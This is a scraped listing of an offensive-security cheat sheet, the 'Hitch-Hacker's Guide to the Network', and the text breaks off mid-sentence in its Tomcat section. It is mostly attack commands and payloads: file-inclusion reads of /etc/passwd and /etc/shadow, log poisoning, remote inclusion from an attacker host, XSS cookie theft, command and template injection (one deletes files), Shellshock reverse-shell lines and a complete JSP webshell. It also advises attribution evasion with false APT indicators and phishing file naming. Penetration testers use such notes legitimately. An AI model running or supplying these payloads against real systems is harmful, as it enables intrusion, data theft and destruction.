Hitch Hacker's Guide To The Network
User Manual:
Open the PDF directly: View PDF .
Page Count: 86
Download | |
Open PDF In Browser | View PDF |
HGN HITCH-HACKER’S GUIDE TO THE NETWORK Ian the BitThirsty Hunter By opening this book you agree that you will not use this knowledge on any system you do not own or do not have express permission to test / troubleshoot / hack into. With great power comes great responsibility –Stan Lee Last update: 26 April 2019 1 Contents Precautions ................................................................................................................................................... 4 Passive Recon ................................................................................................................................................ 5 Active Recon ................................................................................................................................................ 7 Open Source Intelligence (Maltego) ............................................................................................................. 8 Social Engineering ....................................................................................................................................... 10 Fingerprinting / Scanning .......................................................................................................................... 11 Scanning: Nmap / MetaSploit Integration ............................................................................................... 14 Sniffing (While you scan) .......................................................................................................................... 15 Web Application Attacks ........................................................................................................................... 16 Serialize Exploits ........................................................................................................................................ 23 Database Injection Attacks ....................................................................................................................... 26 Enumeration .............................................................................................................................................. 30 Password Searching ................................................................................................................................... 33 Password Cracking/Guessing .................................................................................................................... 35 Pass the Hash ............................................................................................................................................. 39 Encryption Exploitation ............................................................................................................................. 40 CCTV Systems ............................................................................................................................................. 41 Privilege Escalation .................................................................................................................................... 46 Gaining An Initial Foothold ......................................................................................................................... 50 Port Forwarding / Proxies / Tunneling ..................................................................................................... 52 Metasploit .................................................................................................................................................. 54 PowerShell Empire .................................................................................................................................... 57 PowerShell: Nishang .................................................................................................................................. 61 Payload Generation/AV Bypass ................................................................................................................ 62 Post Exploitation ........................................................................................................................................ 65 Linux Essentials .......................................................................................................................................... 67 Linux Scripting ............................................................................................................................................ 72 Python Essentials ....................................................................................................................................... 74 Windows Essentials ................................................................................................................................... 76 PowerShell Essentials ................................................................................................................................ 78 Android Essentials ..................................................................................................................................... 80 Ports............................................................................................................................................................ 81 2 Training: Certs, Links, & Books ................................................................................................................. 84 Hacker Toys ................................................................................................................................................ 85 CryptoNotes ............................................................................................................................................... 86 3 Precautions Precautions Encrypt your hard drive Use a virtual machine with all traffic routed through Tor projects like Whonix, Tails, Qubes TorVM, etc. Here’s a comparison link. Connect to a VPN or bridge node first before connecting to Tor. Use anonymous payment like bitcoin for cloud servers. Cloud services in different countries have different types of laws and are more likely to attract pen testers. macchanger –A eth0 :change your MAC address Attribution Change servers, domain names, emails, etc Use tools publicly available Use indicators of APTs in your code to emulate attribution: Kiran Blanda maintains a GitHub repository with copies of public threat intelligence reports Companies can pay for intel reports from Kaspersky and CrowdStrike Cloud Hosting Solutions (First piece of Misattribution) DigitalOcean :choose US, Germany, Singapore, England, Netherlands, India, Canada Virtuzo :Worldwide servers Huawei :(use Google Translate), popular Chinese audio streaming service (Netease cloud music) uses this Baehost :Argentina cheap cloud hosting ovh.com :France cheap cloud hosting esecuredata.com :Canadian cheap cloud hosting webhuset.no :Norwegian cheap cloud hosting 4 Passive Recon Google Hacking site: [url] site:Microsoft.com –site:www.microsoft.com numrange:[#]…[#] date:[#] link: [url] related: [url] intitle: [string] intitle:”netbotz appliance” “OK –filetype:pdf inurl: [string] inurl:”level/15/exec/-/show” filetype: [xls] phonebook: [name] :search only one url :ex showing subdomains :search within a number range :search within past [#] months :find pages that link to url :find pages related to url :find pages with [string] in title :example showing appliances on the net :find pages with [string] in url :ex showing open cisco routers :find files that are xls :find phone book listings of [name] Reconnaissance Against Sites https://www.exploit-db.com/google-hacking-database/ :Google Hacking Database https://www.shodan.io/ :Google equivalent for security www.netcraft.com/ :indirect recon against web servers whois:basic info including owner whois :basic info including owner Subdomain Enumeration wget www.cisco.com :download cisco index page grep “href=” index.html | cut –d “/” –f 3 | grep “\.” | cut –d ‘”’ –f 1 | sort –u :ex of cutting subdomains out of index for url in $(cat list.txt); do host $url; done|grep “has address” | cut –d “ –f 4 | sort –u :get ips for subdomain list Email Harvesting (Find emails and possibly usernames for an organization) theharvester –d cisco –b google > google.txt theharvester –d cisco.com –l 10 –b bing > bing.txt :harvest through Google :harvest through Bing Leaked / Compromised Web Search DLPDiggity SearchDiggity :search for leaked SSN, PII, etc :search for website exploiting browsers MetaData Harvesting: ExifTool exiftool [filename] :extract metadata like usernames, etc MetaData Harvesting: Strings wget –nd –R htm, html, asp, aspx, cgi –P /tmp/metadata [targetdomain] :pull website strings /tmp/* | grep –i firewall :search md for “firewall” string strings /tmp/* | grep –i password :search md for “password” string other search strings: authentication, security, finance, e-mail, Pull Websites Offline wget –nd –R htm, html, asp, aspx, cgi –P /tmp/metadata [targetdomain] :linux (New-Object System.Net.WebClient).DownloadFile(http://site,c:\site.html”); gc c:\site.html :Powershell-pull single site down 5 Online Tools Shodan DNS Dumpster NerdyData Carrot2 2lingual Maltego :most known security search engine :domain research tool :searches known snips of code :keyword search visualization :very helpful for international jobs :commercial tool but highly effective 6 Active Recon DNS Enumeration host –t ns megacorpone.com :enum DNS servers host –t mx megacorpone.com :enum mail servers host –l :host cmd for zone transfer ex: host –l megacorpone.com ns1.megacorpone.com dnsrecon –d megacorpone.com –t axfr :automated zone xfer tool dnsenum zonetransfer.me :another automated zone xfer tool nslookup >set type= any >ls –d :dns zone xfer request dig @ -t AXFR :dig sometimes works when nslookup wont IP Address Info nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24 Robots.txt Scan Nmap –n –script=http-robots.txt.nse -p 80,443 Recon-ng recon-ng show options show modules search resolve use recon/domains-contacts/whois_pocs use recon/domains-vulnerabilities/xssed use recon/domains-hosts/google_site_web use recon/hosts-hosts/ip_neighbor show info set SOURCE cisco.com add netblocks 10.10.10.0/24 run show hosts :start recon-ng :show variables :contacts, credentials, domains, etc :search modules that would resolve names :employee names & emails plugin :existing XSS vulns :search additional subdomains :discover neighboring IP addresses :view module description :set a specific source :specify a range of ips :last command to run :view after running against ip range 7 Open Source Intelligence (Maltego) Maltego Interactive Data Mining tool **Attribution evasion with once exception (see next) Anonymity: Important note is that in most cases information is downloaded to the Maltego server, then to your local client – meaning the external entity will see Maltego servers querying you not your external facing ip. However, this does not apply to downloading images – it goes directly to your. There are two options. First option is to set up a proxy. Second option is to turn off auto-downloading images under Settings / Miscellaneous. Maltego Transforms Worth Noting ThreatGrid Shodan Social Links Facial Recognition :tie your Cisco products together : :paid subscription, free ver has darkweb External Recon (Infrastructure) / Footprinting (Full walkthrough, not all steps apply to situations) Short Version Create domain entity (i.e. army.mil) On left hand side click Machines Footprint L1 :Only down the path once – fast and simple Footprint L2 :L1 plus Shared NS/MX and Shared websites Footprint L3 :L2 plus reverse on netblocks, domains from reverse DNS, builtwith Footprint XXL :lots of false positives needs a lot of result tuning Find Wiki Edits :Look for Wiki edits from their ip ranges (if they didn’t sign in) Company Stalker :email addresses from a domain, social networks, and metadata How to Create Your own Machine Macro with additional transforms Long Version Enumerate External Infrastructure Create domain entity (i.e. army.mil) Transform / Paterva CT / DNS from Domain (the whole group of 9) Transform / Paterva CT / Resolve to IP (the whole group) Transform / All Transforms (no group) / To NetBlock [natural boundary] -it is not in a group because you only want to use 1, not all 3 Transform / All Transforms / To AS number Transform / All Transforms / To Company [Owner] – may need to select by type 1st Then go back up in Reverse to find related info Select by Type [AS] / To Netblocks in this AS Select by Type [Netblock] / To DNS Names in Netblock [Reverse DNS] Shared Select Select Select Infrastructure by Type [MX records] / To Domains (Sharing this MX) by Type [NS records] / To Domains (Sharing this NS) by Type [DNS] / To Domain All In-House Strategy (large companies) Shared MX for more domains Shared NS for more domains Hosts multiple web servers on single host Look for patterns in configuration (mx1,mx2) Cyclical footprinting process Hybrid Strategy (company controls some internally, outsource some) Look at shared infrastructure they control (MX, NS, SOA, SPF, Websits, DNS) Validate you are still in targets infrastructure: Validate domains – whois Validate ips – whois, reverse DNS Outsourced Strategy Shared infrastructure on MS/NS is out 8 Almost nothing points to IPs in real network Search at internet registry (ARIN/RIPE/APNIC/etc), usually in whois Reverse DNS Search IP on Internet via search engine Wikipedia entries (Wikipedia transforms) Personal Strategy No infrastructure to enumerate Email to individual with clickable link, embedded image Legal route – subpoena for ISP External Recon – Service Enumeration Enumerate other sites Create domain entity (i.e. Transform / Paterva CTAS / Transform / All Transforms Transform / All Transforms army.mil) DNS From Domain / To Website Using Domain [Bing] / To Tracking Codes / To Other Sites with Same Code Service Enumeration (continued) Investigate Tab / Select by Type / Website Transform / Paterva CTAS / All / To Server Technologies [Using BuiltWith] Look for unpatched, exploitable services *alternatively, you can go to https://builtwith.com and use outside maltego **Maltego Teeth allows integration with the MetaSploit Database External Recon – Attribution Enumerate Attribution from targets, etc) Create domain entity (i.e. Transform / Paterva CTAS / Transform / Paterva CTAS / File MetaData (possible user names, social engineering army.mil) Files and Documents from Domain (group of 2) Parse Meta Information Figure Out Email for Company Email Addresses From Domain (group of 3) To DNS Name – MX (mail servers) To Domain (convert) Email Addresses From Domain (group of 3) If you still aren’t finding anything, google contact “company”, look for domain name they use then run Email Addresses from Domain Spear phish based on that information Add entity - Type Personal / Person Autopopulate name based on naming convention from previous step All Transforms / Verify Email Address Exists Pivot for Other Emails based on company emails To Email Addresses [PGP] Reverse Picture search Type in someones number on WhatsApp, then do reverse picture search Twitter Geographic Search Convert an address to GPS coordinates online, i.e. https://www.latlong.net/convertaddress-to-lat-long.html Transforms / Paterva CTAS / To Circular Area Then To Tweets From Circular Area To Twitter Affiliation [Convert] 9 Social Engineering People search site: [url] vip site: [url] president site: [url] contact : : : Social Networking Recon LinkedIn Facebook Twitter, Google+, Pinterest, Myspace, Orkut :usually greatest source of info :find out what they ate for lunch What to Name Files with Payloads Inside (E-mail, leave USBs around, etc) *renaming .pif hides windows extensions and makes it executable but shows like the first file extension Bonus_Plan : Layoff_Plan : Best Pics : Exploiting Through Social Engineering cd /pentest/exploits/set ./set 2 3 2 https://www.facebook.com/login.php alternatively you could do cd ./set python –m SimpleHTTPServe :social engineering toolkit :website attack vectors :credential harvester method :site cloner :clone fb, listens on port 80 :starts server to serve payloads 10 Fingerprinting / Scanning Passive Fingerprinting p0f -i eth0 -p -o /tmp/p0f.log fl0p Sniff While Scanning (Can be helpful) tcpdump –nn host nmap –n –sT :sniff a particular ip :shows 3 way handshake in tcpdump Nmap Probe/Sweeps (quicker, less results) nmap nmap nmap nmap nmap nmap nmap nmap –PB –sP –PS[portlist] –sn –PA –PP –PM –PR :ICMP ER, SYN-443,ACK-80;ICMP TSR :ICMP ping sweep (many fws block) :TCP ACK ping;i.e. –PS80 :ping sweep :TCP Syn ping :ICMP timestamp request (type 13) :ICMP address mask request (type 17) :ARP discovery-only works on same subnet Nmap Scans Nmap –Pn :turns off ping before scan-use often nmap –sT –A –P0 :detailed info nmap –F :Fast scan – top 100 ports nmap –p 80 :scan single port nmap –sA :TCP ACK Scan nmap –sF :FIN Scan (set FIN bit of all packets) nmap –sS :stealth scan (half open, not stealthy) nmap –sT :TCP Connect Scan nmap –sU –p 53,111,414,500-501 :UDP Scan (specified ports) nmap –sW :TCP Windows scan nmap –-script= :Nmap Scripting Engine nmap --script smb-os-discovery.nse :nmap NSE example grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db :search for safe NSE scripts nmap –-iflist :show host interfaces & routes nmap –-reason :shows you why it gave you what it did :estimate progress during scan Nmap OS Fingerprinting (most bandwidth intensive scan) nmap –O nmap –A nmap –sV :OS scan :detect OS & services :standard service detection Nmap Fuzzing Scans nmap nmap nmap nmap –sM –sX –sN –s0 :TCP Maimon scan (set FIN & ACK bits) :Xmas Tree Scan (FIN, PSH, URG bits) :null scan (set all control bits to 0) :Scan IP protocols(TCP,ICMP,IGMP,etc.) Nmap Output Options nmap –oA outputfile nmap –oX outputfile.xml nmap –oG outputfile.txt :save grep, xml, and normal format :save xml file :save grep format file 11 Nmap Firewall Scans nmap nmap nmap nmap nmap nmap nmap –-badsum –sN –sF –sX –f –n –D ,ip2 –-spoof-mac 0 :RESET from good and bad checksum means firewall :TCP Null scan to fool fw to generate response(TCP flag header 0) :TCP Fin scan to check firewall (TCP FIN bit) :Xmas Scan (FIN, PSH, URG flags) :-f causes scan (including ping) to use fragmented packets :-D makes it look like decoys are scanning also :0 chooses a random MAC to spoof TCP Idle Scan (scan stealthily by spoofing ip address of another host on network) msfconsole :start metasploit use auxiliary/scanner/ip/ipidseq :look for idle computers show options :show parameters set RHOSTS ; set THREADS 10 :set parameters run *We get a list of potential idle hosts to use as our target; pick one nmap –PN –sI :launch TCP Idle Scan MetaSploit Port Scans msfconsole search portscan use auxiliary/scanner/portscan/syn :start MetaSploit :search for portscans :select a particular portscan SQL Scan *Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports (i.e. if they changed it from the non-standard TCP 1433) msfconsole :open metasploit use auxiliary/scanner/mssql/mssql_ping :scanner for SQL show options :show parameters set RHOSTS ; set THREADS 10 :set parameters run :run SSH Scan *FTP often easily exploitable msfconsole use auxiliary/scanner/ssh/ssh_version show options set RHOSTS ; set THREADS 10 run OR nmap –n –script=sshv1.nse -p 22 :open metasploit :scanner for SSH version :show parameters :set parameters :run :check for SSHv1 (weak) FTP Scan *older SSH versions have easily exploitable vulnerabilities msfconsole :open metasploit use auxiliary/scanner/ftp/ftp_version :scanner for FTP version show options :show parameters set RHOSTS ; set THREADS 10 :set parameters run :run SNMP Sweep *SNMPv1 and v2 very flawed, v3 much more secure msfconsole :open metasploit use auxiliary/scanner/snmp/snmp_login :scanner for SNMP version show options :show parameters set RHOSTS ; set THREADS 10 :set parameters run :run RDP (Windows) - Loud 12 rdesktop –u guest :guest often authenticates Netcat Port Scans nc –v –n –z –w1 20-80 echo “”|nc –v –n –w1 :netcat port scan :port scanner which harvests banners Windows Command Line Ping Sweep For /L %i in (1,1,255) do @ping –n 1 10.0.0.%i | find “TTL” :TTL shows successful Powershell Scans 1.255 | % {ping –n 1 –w 100 10.10.10.$_ | select-string ttl} :Ping sweep 1..1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",$_)) "Port $_ is open" } 2>$null :Port Scan Fast Scan Tools (for big blocks of ips) ScanRand Zmap MassScan :one program sends SYNs; one receives :scans all of IPPv4 for one port :utilizes threading Response Meanings RST + ACK (TCP) ICMP Port Unreachable (TCP) ICMP Port Unreachable (UDP) No response (TCP) No response (UDP) :likely port closed or firewall blocking :most likely blocked by firewall :most likely port is closed :most likely nothing listening on system :could be port closed,firewall,ignored? 13 Scanning: Nmap / MetaSploit Integration Nmap & MetaSploit msfconsole dbstatus db_nmap –Pn –sS –A db_nmap –O db_import /tmp/file.xml db_import /tmp/file.nessus exit :start metasploit :verify metasploit is connected to db :populate db with scan :populate db with OS Scan :import nmap scan file :import nessus vulnerability scan : MetaSploit Database Querying hosts hosts –add hosts –S linux services services –add –p 80 vulns vulns –S RPC vulns –p 445 :show discovered hosts :manually add host :show linux hosts :show discovered services :manually add services for hosts :show vulnerabilities discovered :show RPC vulnerable hosts :show vulnerable smb hosts MSFMap Meterpreter Module (Scan from Compromised Host) exploit load msfmap msfmap –sP msfmap –sT msfmap –-top-ports :exploit meterpreter shell :load module into meterpreter :ping sweep :TCP Connect scan :same as nmap 14 Sniffing (While you scan) WinDump (Windows) Tcpdump ported to Windows WireShark At the startup, click the capture interface you want to monitor. You can add a capture filter such as host and tcp port 4444 to filter out unwanted traffic. In Kali click Capture / Interfaces, then click options and you can set a filter. In Windows it’s right there on the main page. tcpdump (Linux) tcpdump –n tcpdump –i [int] tcpdump –v tcpdump –w tcpdump –x tcpdump –X tcpdump –A tcpdump –s [snaplength] tcpdump tcpdump host tcpdump net tcpdump port tcpdump portrange port src port dst :use #s instead of names for machines :sniff interface (-D lists ints) :verbose (IP ID, TTL, IP options, etc) :Dump packets to file (-r to read) :print hex :print hex & ASCII :print ASCII :older vs: –s 0 to capture whole packet :capture certain protocol traffic :only give packets from that host : : : :only from that host or port :only from that destination tcpdump Examples tcpdump –nnX tcp and dst tcpdump –nn tcp and port 445 and host tcpdump –nv –s0 port 445 –w /tmp/winauth.pcap :view tcp packets with ASCII & hex :view TCP p445 going to or from :-s0 means full packets, -w dumps 2 file Sniff Authentication Sessions Pcap Strings Search ngrep –q –I /pcaps/sample.pcap “SEARCHPHRASE” :-q only headers & payload ngrep –q –I /pcaps/sample.pcap “HTTP/1.0” :should see 1.1&2.0; 1.0 often malware strings /pcaps/sample.pcap | grep GET :alternate search tshark –nr /sample.pcap –Y “http.request.method==GET” :alternate search 15 Web Application Attacks Fingerprinting the Web Server telnet GET /HTTP/1.1 Host: putanyvalue :telnet to the server :retrieve header info : Browse site, look for upload/download, authentication forms, admin section, data entry F12, read source code Actions Mapped to URLs, for example Ruby on Rails: /objects/ will give you a list of all the objects; /objects/new will give you the page to create a new object; /objects/12 will give you the object with the id 12; /objects/12/edit will give you the page to modify the object with the id 12; 404/500 errors can also show info Robots.txt Exclusions (Heavily used with PHP) Nmap –n –-script=http-robots.txt.nse -p 80 :shows robots.txt exclusions Joomla robots.txt: www.example.com/robots.txt Web Server Scanners Sparta Noisy but several tools built in Nikto ./nikto.pl –h -p -output wikto (port of Nikto to Windows in .NET) :www.cirt.net;free; can be Nessus plugin :www.sensepost.com Burpe Commercial tool, only a couple hundred a year, well worth it for pen testers Wfuzz python wfuzz.py -c -z file,wordlist/general/common.txt --hc 404 http://site/FUZZ Email Banner Grabbing / Login with netcat nc –nv 25 nc –nv 110 nc –nv 143 ;HELP ;USER bob;PASS bob ;USER bob; PASS bob :netcat connect to mail server,see help :netcat connect to mail server over 110 :netcat connect to mail server over 143 XML Attacks (xPath Example) Good to start with, common in web apps Original: http://ip/dir/page.php?xml= default Modify to: http://ip/dir/page.php?xml=]>%26x; *can use ftp or http XPath Example http://ip/dir/page.php?name=default’ :inserting ‘ shows xPath used http://ip/dir/page.php?name=default' and '1'='1 :should get the same result http://ip/dir/page.php?name=default' or '1'='0 :should get the same result http://ip/dir/page.php?name=default' and '1'='0 :should not get any result http://ip/dir/page.php?name=default' or '1'='1 :should get all rslts needs more http://ip/dir/page.php?name=default' or 1=1]%00 :needs proper enclosing, this work http://ip/dir/page.php?name=default'%20or%201=1]/parent::*/child::node()%00 :go up node hierarchy Directory Traversal 16 Commands to test if susceptible to traversal (assume photo.jpg on the site) /images/./photo.jpg: you should see the same file /images/../photo.jpg: you should get an error /images/../images/photo.jpg: you should see the same file again /images/../IMAGES/photo.jpg: you should get an error (depending on the file system) or something *note that on Windows /images/ folder will work even if it doesn’t exist but this will not work on Linux web servers. Try reading the html source code to find. Test to Retrieve /etc/passwd images/../../../../../../../../../../../etc/passwd :don’t need to know amount of ../s http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../etc/passwd Server Side Code Adds Suffix, Use Null Bytes to Bypass http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../../../../etc /passwd%00%00%00%00%00%00%00%00%00%00 :wont work after PHP 5.3.4 Script to retrieve etc/passwd using linux commands or windows bash % wget -O - 'http://server/directories/page.php?file=../../../../../../../etc/passwd' [...] daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [...] File Inclusion Local File Inclusion http://ip/dir/page.php?page=intro.php’ :adding ‘ can test for file inclusion, sometimes can give you directory on server to test for directory traversal http://ip/dir/page.php?page=../../../../../../../etc/shadow :in include() example http://ip/dir/page.php?page=/var/www/fileincl/../../../../../../../../../../etc/passwd% 00%00%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4Remote File Inclusion http://ip/dir/page.php.php?page=https://assets.pentesterlab.com/test_include.txt :shows php info http://ip/dir/page.php?page=?page=https://assets.pentesterlab.com/test_include.txt%00%0 0%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4Contaminating Log Files nc –nv 192.168.11.35 80 :netcat to victim web server :ends up writing to our access.log Executing Code with Local File Inclusion Vulnerability *execute our contaminated log file http://192.168.11.35/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../.. /../../xampp/apache/logs/access.log%00 Remote File Inclusion Vulnerability http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evl.txt :In this case the language variable was not set nc –nlvp 80 :nc listener on 10.5 box XSS Attacks Check to see if susceptible to XSS :simple check to see if susceptible Example: change the url extension example.php?name=default value to example.php?name= PutSomething :change to example.php?name= example.php?name=ript>alert(1)ipt> PutSomething *Note great converter & script Javascript Insertion F12, in this example :inserted next command ";alert(1);var%20$dummy%20=%20" F12, in this example :similar to last, in this example server is html encoding turning quotes into " (viewable in source/F12 in example) ‘;alert(1);var%20$dummy%20=%20’ PHP_SELF (Not using htmlspecialchars) page.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E be susceptible to XSS :Pages using PHP_SELF can DOM Based (Client Side XSS) page.html?default= :example 1 page.php#hacker= :example 2 http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here :i.e. 3 1st example is php page using document.write w/ URL ending in page.html?default=French 2nd example mounts the same attack without it being seen by the server (which will simply see a request for page.html without any URL parameters 3rd example finds a PDF link on the site, victim using unpatched adobe is vulnerable Example XSS Sending Cookie From Web Server to Requestb.in https://site.com/index.php?name=hacker XSS Tools BeEF :software, defacement, metasploit, shell Jikto :XSS to attack internal systems http://www.owasp.org-search XSS Filter Evasion:XSS Encoding / Filter Evasion www.xssed.com :XSS Encoding / Filter Evasion Code Injection Check to see if susceptible to Code Injection (PHP Example) Try inserting a single quote at the end /* random value */ injecting a simple concatenation "." "."te"."st"." instead of test Compare not using PHP sleep function, and using sleep(0) or sleep(5) Concatenate commands on Input Defined Ping Example Try inserting directly into the input box or the url 127.0.0.1 ; cat /etc/passwd 18 Examples (PHP) page.php?name=default’ :inserting a single quote could give info page.php?name=default"." :should return error giving us info page.php?name=default"./*inserteddata*/" :should show regular page if working page.php?name=default".system('uname -a'); $dummy=" :example php code inj page.php?name=default ".system('uname -a');%23 :(%23=#), same as above page.php?name=default ".system('uname -a');// :same as above, may need to convert ;=%3B Examples (Perl) *note page doesn’t automatically show cgi-bin, have to look in source page/cgi-bin/hello?name=default’.system(‘uname –a’);%23 Examples (PHP with SQL) Test various breaks to see what works on example: .php?order=id .php?order=id;}// :test methods, may not work exactly .php?order=id);}// :get warning, may be right .php?order=id));}// :in this case unexpected ) – just take out .php?order=id);}system('uname%20-a');// :in example we get successful execution PCRE_REPLACE_EVAL Example (/e) - PHP *Deprecated as of PHP 5.5.0, causes to evaluate new code as PHP code before substitution http://ip/dir/page.php?new=hacker&pattern=/lamer/&base=Hello :original link http://ip/dir/page.php?new=hacker&pattern=/lamer/e&base=Hello :/e gives error http://ip/dir/page.php?new=system('uname%20-a')&pattern=/lamer/e&base=Hello :gives us code execution PHP: Using Assert Function To Gain Code Execution Example page.php?name=default” : test inserting ‘ and “ to see if errors page.php?name=default’ :receive assert error page.php?name=default’.’ :error messages disappears when adding ‘.’ Page.php?name=default '.phpinfo().' Command Injection Check if susceptible to Command Injection (PHP Example code using system command in server side script) page.php?ip=127.0.0.1 :default page page.php?ip=127.0.0.1’ls’ :inj cmd inside backticks page.php?ip=127.0.0.1|cat /etc/passwd/ :redirect result from 1st into 2nd page.php?ip=127.0.0.1%26%26cat%20/etc/passwd :%26%26= && encoded Add encoded new line to bypass some filters (used in multiline) page.php?ip=127.0.0.1 %0als : %0a = encoded new line Use PHP function header if value doesn’t match security constraint telnet vulnerable 80 GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0 Using netcat: echo "GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vuln 80 OR echo -e "GET /dir/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1\r\nHost: 192.168.79.162\r\nConnection: close\r\n" | nc 192.168.79.162 80 Ruby on Rails Eval Function Example “ :break out of string to see errors “+’COMMAND’+” :remember URL encode + to %2B ?username="%2B`[/usr/local/bin/score%20697532c5-0815-4188-a912-c65ad2307d28]`%2B" Python Application Command Injection – Example with system access loaded already page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution page/dir/default"%2bstr(os.popen('id').read())%2b"test :gives more info – replace id w/cmd Python Application Command Injection – system access NOT loaded already page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly page/dir/default"%2bstr(__import__('os').system('CMD'))%2b"test :import cmds 19 page/dir/default"%2bstr(__import__('os').system('rm –rf /critPath'))%2b"test :delete Python Application Command Injection – “/” prevented so use base 64 encoding page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly page/dir/default"%2bstr(__import__('os').system( __import__('base64').b64decode('aWQ=')))%2b"test : LDAP Attacks (PHP Example) Using two null values to authenticate (even if not LDAP based) Change default page: http://ip/dir/page.php?username=user&password=pass Change to: http://ip/dir/page.php Filter Injection to Bypass Auth – PHP Example username=hacker&password=hacker we get authenticated (default) username=hack*&password=hacker we get authenticated (wildcard on user work) username=hacker&password=hac* we don't get authenticated (wildcard on pass doesn’t) :deduce password is probably hashed http://ip/dir/page.php?name=hacker)(cn=*))%00&password=rtrtrtr http://ip/dir/page.php?name=a*)(cn=*))%00&password=rtrtrtr The end of the current filter using hacker) An always-true condition ((cn=*) A ) to keep a valid syntax and close the first ) A NULL BYTE (%00) to get rid of the end of the filter nmap script to search LDAP: nmap -p 389 --script ldap-search File Upload Attack (PHP Example) Include Function with No Filter Example Upload script named test.php http://ip/dir/page.php?cmd=cat%20/etc/passwd Bypass Filtering for File Upload Try uploading with extension .php3 or .php4 or .php5 Try uploading with extension .php.blah :if doesn’t recognize .blah tries .php Upload .htaccess file to enable extensions Iceweasel Add-ons Cookies Manager+ Tamper Data :allows for cookie modification Browser Redirection/IFRAME Injection in Unvalidated Web Form nc –nlvp 80 :first we set up nc listener on attacker *Next we enter an iframe redirection in an unvalidated web form Cookie / Session Stealing nc –nlvp 80 :first we set up nc listener on attacker *Next we enter javascript to get the cookie; get PHPSESSID info *Then enter PHPSESSID for Name in Cookies Manager+ and Session info in content Server Side Template Injection Example 1 – 404 Error Management :Uber SSTI Example Enumerate the functions available: http://site/test{{''.__class__.mro()[1].__subclasses__()[1]%7D%7D Enumerate a specific function, in this case subprocess.Popen http://site/test{{''.__class__.mro()[2].__subclasses__()[233](['CMD', 'CMD';])}} Example 2 (Twig 1.9.0) http://site/?name=hacker{{_self.env.registerUndefinedFilterCallback(%27exec%27)}}{{_sel f.env.getFilter(%27COMMAND%27)}} 20 Shellshock (Apache Server) Use Nmap to identify open ports. TCP port 80 is opened and Apache service running Use Burp to navigate to the URL, detect that any URLs accessed when the page is loaded By using Firebug, we can identify any CGI page which call system command /cgibin/status in our example. Needed for exploiting shellshock Read Arbitrary Files Example echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$( 443 -e /bin/sh\r\nHost: \r\nConnection: close\r\n\r\n" | nc 80 Alternate Example Use Fiddler to identify cgi-bin packet, drop in composer to copy (or in Burpe right click the GET request for cgi-bin and send to Repeater. Test for shellshock: Replace the user agent string with User-Agent: () { :;}; echo $( 1234 –e /bin/bash If we don’t get a response that’s good because our netcat session is still open. Tomcat mod_jk Looking at the GET request in this example only shows us Apache, not showing Tomcat If we try to go to a non-existent page contained within the site, we see Tomcat version This is indicative of a mod_jk vulnerability Going to site/manager/html will not get you there because it’s only exposed by Tomcat, not Apache In our example site/examples is the Tomcate service, but site/examples/../manager/html wont work because the browser normalizes in this example. Try site/examples/%252e%252e/manager/html :here we have to double encode – mod_jk decodes %25 as “%”, then tomcate decodes %2e as “.” tomcat/tomcat, admin/admin, admin/tomcat, admin/no password are default logins Here we want to upload a .war file which is actually just a zip file index.jsp (from PenTesterLabs) – alternatively you could use a Servlet too <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+""; } } catch(IOException e) { e.printStackTrace(); } } %> <%=output %>Then put your index.jsp into a webshell folder mkdir webshell 21 cp index.jsp webshell cd webshell $ jar -cvf ../webshell.war * Tomcat 6: If we try to upload through the button on the page we get a 404 error. Remember you have to double encode to get to your directory. Right click the submit button and select Inspect to see/modify the source code of the button and the form action should show you a relative path. In this case change